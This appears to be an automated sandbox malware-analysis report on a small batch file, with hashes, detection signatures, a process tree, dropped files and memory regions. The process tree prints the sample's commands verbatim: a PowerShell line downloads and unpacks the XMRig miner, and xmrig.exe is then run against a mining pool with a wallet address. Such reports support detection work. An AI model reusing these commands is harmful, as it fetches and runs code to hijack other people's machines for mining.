Analysis

  • max time kernel
    1795s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-12-2023 09:23

General

  • Target

    tesy - Copy (9).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (9).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4888
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:212
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5044
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1464

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    3b9e596d9f4eb63fd52296befb6e4731

    SHA1

    278d97972bfab1e2f8e8c4fd71198c013547e79a

    SHA256

    3f5e246a0c3b2b7481a5ad0a019cd97ec2e55aecdb572479898ada82af4c21bb

    SHA512

    536bab6a68b9e46ee69ec6c5fe4dcbe07ea1cfe9c54b8451e6b9d92a72deee08b14d8ede374e4bde45c8919de30339e10702b6ac7adfbe38c4ffdcd35f138510

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    c238097a4b6a009c45452a14fb73e916

    SHA1

    edc336883ec4d0067c3672983f1c905031db4c7b

    SHA256

    50510ac25f8854f57096ab84b46aa284778f9e39165fa8d830c792d0d3de9817

    SHA512

    415c9aa89638b8ddffa92b1ad737c89bcb4519304a84e411fa53e54cabf8ab0d79f75d430975bc36fe8d5f8f8a4e926f8017f6bae934cca192c431dd6e363b72

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1wktihng.trm.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    128KB

    MD5

    981b0fb9564e67940076f936cb9b24bb

    SHA1

    6fdc86e72adc1591d70d10ce5f03ff8061edd76f

    SHA256

    a1df9929788c21162afbc35a5de3d44403ef42e668f6dc7f00a81ab6012f3ee2

    SHA512

    50005febcc8eb592e0aa103321474083cba11bf0d867f4f63532d115bde569fef6ecb178789cfea6248576e62bb4f2991624be63901658495881ddb1dea1eb75

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    57KB

    MD5

    bcaa6f8e0596714690c65f3b496ff7c7

    SHA1

    d6e6980c13161436a71ed6e27b335a04cf02bae0

    SHA256

    1e508dd50441344fd3d7296d12a03e2386115621293c9436efac2c2555cbc778

    SHA512

    2b4bb3393fede2274e6d3d1ae1212f82e55b900944751cfef138348a1c19d11826c653a6391b0dac3648aa4a1b4be19a6b3433cd0c2d1ec860911280408f34b9

  • memory/212-28-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-25-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-26-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

    Filesize

    9.9MB

  • memory/212-27-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-10-0x0000014476C90000-0x0000014476D06000-memory.dmp

    Filesize

    472KB

  • memory/212-29-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-7-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-4-0x0000014476A60000-0x0000014476A82000-memory.dmp

    Filesize

    136KB

  • memory/212-5-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

    Filesize

    9.9MB

  • memory/212-9-0x0000014476C00000-0x0000014476C10000-memory.dmp

    Filesize

    64KB

  • memory/212-34-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1464-143-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-150-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-188-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-187-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-186-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-185-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-120-0x000002A1E4360000-0x000002A1E4380000-memory.dmp

    Filesize

    128KB

  • memory/1464-184-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-121-0x000002A1E5AC0000-0x000002A1E5AE0000-memory.dmp

    Filesize

    128KB

  • memory/1464-122-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-123-0x000002A1E5AE0000-0x000002A1E5B00000-memory.dmp

    Filesize

    128KB

  • memory/1464-124-0x000002A1E5B00000-0x000002A1E5B20000-memory.dmp

    Filesize

    128KB

  • memory/1464-125-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-126-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-129-0x000002A1E5B00000-0x000002A1E5B20000-memory.dmp

    Filesize

    128KB

  • memory/1464-128-0x000002A1E5AE0000-0x000002A1E5B00000-memory.dmp

    Filesize

    128KB

  • memory/1464-127-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-130-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-131-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-132-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-133-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-134-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-135-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-136-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-137-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-138-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-139-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-140-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-141-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-142-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-183-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-144-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-145-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-146-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-147-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-148-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-149-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-182-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-151-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-152-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-153-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-154-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-155-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-156-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-157-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-158-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-159-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-160-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-161-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-162-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-163-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-164-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-165-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-166-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-167-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-168-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-169-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-170-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-171-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-172-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-173-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-174-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-175-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-176-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-177-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-178-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-179-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-180-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/1464-181-0x00007FF7BEBD0000-0x00007FF7BF6D3000-memory.dmp

    Filesize

    11.0MB

  • memory/5044-66-0x000002438F8D0000-0x000002438F8E0000-memory.dmp

    Filesize

    64KB

  • memory/5044-42-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-45-0x000002438F8D0000-0x000002438F8E0000-memory.dmp

    Filesize

    64KB

  • memory/5044-117-0x00007FF9A1010000-0x00007FF9A19FC000-memory.dmp

    Filesize

    9.9MB

  • memory/5044-80-0x00000243A7D30000-0x00000243A7D42000-memory.dmp

    Filesize

    72KB

  • memory/5044-93-0x000002438F920000-0x000002438F92A000-memory.dmp

    Filesize

    40KB

  • memory/5044-43-0x000002438F8D0000-0x000002438F8E0000-memory.dmp

    Filesize

    64KB